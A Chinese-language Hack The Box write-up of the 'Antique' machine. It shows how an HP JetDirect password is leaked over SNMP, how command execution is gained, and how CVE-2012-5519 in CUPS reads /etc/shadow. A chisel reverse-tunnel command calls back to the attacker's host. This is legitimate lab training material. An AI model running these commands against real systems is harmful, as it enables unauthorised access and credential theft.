[HTB] Antique Writeup
2022-8-16 13:59:26 Author: 一个人的安全笔记(查看原文) 阅读量:7 收藏

概述 (Overview)

8f891624028be1f8a1fbd13706183475.png|500

HOST: 10.10.11.107

OS: LINUX

发布时间: 2021-09-27

完成时间: 2021-10-10

机器作者: MrR3boot

困难程度: easy

机器状态: 退休

MACHINE TAGS: #CVE-2012-5519 #telnet #Printer #chisel

攻击链 (Kiillchain)

使用 Nmap 对目标服务器进行开放端口,通过 SNMP 服务协议获取 HP JetDirect 服务的密码,登录 JetDirect 服务后运行内置命令拿到立足点。将本地端口进行转发,并使用 CUPS 服务的历史漏洞读取 ROOT Flag。

枚举(Enumeration)

老套路,使用 Nmap 对目标服务器进行开放端口扫描:

PORT   STATE SERVICE VERSION
23/tcp open  telnet?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns, tn3270: 
|     JetDirect
|     Password:
|   NULL: 
|_    JetDirect

从信息中可知,目标服务器仅开放了 23 端口,识别出的服务为 telnet,一般 telnet 命令可用于登录远程主机,对远程主机进行管理。

Port 23 - Telnet

让我想起一件很久以前的趣事,2015年还在做 PHPer 的时候,一次吃午饭的路上和老领导聊天,他问我:目标企业的路由器暴漏在外网,你会用什么命令进行登录,后续使用什么命令访问目标服务器的内网?当时我寻思了很久,ssh、ftp均被pass,因为在老路由器中大多数不会提供这两种服务。吃完饭后他告诉我是 Telnet,才想起忘了这个命令,因为对当时的我来说这个命令实在是用的太少,下意识忽略了。可能他那个年代的人,早期逛互联、BBS时用的均是 Telnet ,所以运用的比较深。

使用 Telnet 命令进行连接,会得到返回的信息:HP JetDirect,从 google 得知它是打印机服务器的指纹信息。

# telnet 10.10.11.107 23       
Trying 10.10.11.107...
Connected to 10.10.11.107.
Escape character is '^]'.

HP JetDirect

Password:

立足点(Foothold)

随后通过 exploit-db 进行搜索,会得到一个标题为“HP JetDirect Printer - SNMP JetAdmin Device Password Disclosure” 的漏洞信息,通过 SNMP 服务可以获得设备密码信息。

SNMP - 简单网络管理协议 是一种用于监控网络中不同设备(如路由器、交换机、打印机、物联网......)的协议。详见:161,162,10161,10162/udp - Pentesting SNMP - HackTricks[1]

而 SNMP 服务会暴漏 161 UDP 端口,所以可以通过 Nmap 进行扫描:

# nmap -sU --top-ports 10 -sV 10.10.11.107 -oA udp
...snip...
161/udp  open   snmp         SNMPv1 server (public)
...snip...

可以看到它是开放的,使用 kali 内置的 snmpwalk 命令及可获得设备密码:

# snmpwalk -v 2c -c public 10.10.11.107 .1.3.6.1.4.1.11.2.3.9.1.1.13.0
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135

将得到的 binary 内容传成 ascii:

import binascii
s='50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 11 9 122 123 126 130 131 134 135'
binascii.unhexlify(s.replace(' ',''))

当然,也可以用我搭建的在线工具:CyberChef[2]

fba4dcab60a2c6cc5d171e68e6845b4d.png

运行python脚本后得到设备密码:[email protected]@123!!123,使用它成功登录 HP JetDirect 服务。

0e8ac266d53936718b8df9f48d526da3.png

运行内置的帮助命令得到一个名为 exec 的指令,说明中也告诉了我们可以通过它执行系统命令。使用它成功拿到目标服务器的立足点:

1f293a56d16d8f7c89565a49cefe8d06.png

权限提升(Privilege Escalation)

简单的进行了下信息收集,发现有个服务运行在本地的 631 端口上,通过 CURL 进行访问得到 title为 “Home - CUPS 1.6.1”:

netstat -ant
Active Internet connections (servers and established)
Proto Recv-Send-Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN     
tcp        0      0 10.10.11.107:23         10.10.17.64:59176       ESTABLISHED
tcp        0     13 10.10.11.107:44324      10.10.17.64:9900        ESTABLISHED
tcp6       0      0 ::1:631                 :::*                    LISTEN  

根据服务信息和版本进行搜索,发现存在 CUPS 1.6.1 Root File Read(CVE-2012-5519) 漏洞。

CUPS 允许 lpadmin 组中的用户使用 cupsctl 命令更改 cupsd.conf 文件 。此命令还允许用户指定 ErrorLog 路径。当用户访问 “/admin/log/error_log 页面” 时,以 root SUID 运行的 cupsd 守护程序读取 ErrorLog 路径并以纯文本形式回显它。简而言之,如果 ErrorLog 路径指向那里,则可以读取 root 用户拥有的文件。

尝试复现,因为服务监听的是本机回送地址所以需要进行端口转发,这里用到的工具是 chisel。

# kali ---> ./chisel server --port 8888 --reverse

# 10.10.11.107 ---> chmod +x chisel && nohup chisel client 10.10.17.64:8888 R:631:127.0.0.1:631 > /dev/null 2>&1 &

在 kali 上访问转发出来的 631 端口,检查是否转发成功:

efafdc19660c146c74ca6f1895b61215.png

当在目标服务器中上运行 cupsctl ErrorLog="/etc/shadow" 后,访问漏洞产生的任意文件读取的页面(依次进入 “Administration” 页面中的 “View Error Log”),就能查看 root 账号的密码 hash。

2ae35f2699fbde9a3aec74c86a35a1b4.png

所以,通过这种方式可以直接读取 root.txt 文件获取 flag,而获取会话上的完整权限提升则可以使用 PwnKit 漏洞。

参考

161,162,10161,10162/udp - Pentesting SNMP - HackTricks[3]CyberChef[4]metasploit-framework/cups_root_file_read.rb at master · rapid7/metasploit-framework · GitHub[5]

引用链接

[1] 161,162,10161,10162/udp - Pentesting SNMP - HackTricks: https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp#massive-snmp
[2] CyberChef: http://chef.jgeek.cn/
[3] 161,162,10161,10162/udp - Pentesting SNMP - HackTricks: https://book.hacktricks.xyz/network-services-pentesting/pentesting-snmp#massive-snmp
[4] CyberChef: http://chef.jgeek.cn/
[5] metasploit-framework/cups_root_file_read.rb at master · rapid7/metasploit-framework · GitHub: https://github.com/rapid7/metasploit-framework/blob/master/modules/post/multi/escalate/cups_root_file_read.rb


文章来源: http://mp.weixin.qq.com/s?__biz=MzIwOTA4NTg4MA==&mid=2652490206&idx=1&sn=7e455866352fe5f330456c6b8ef20aae&chksm=8c945d09bbe3d41f1deeb87a25157e1e87947546967e07a9df3427223d26871e58b6e5ed1de8#rd
如有侵权请联系:admin#unsafe.sh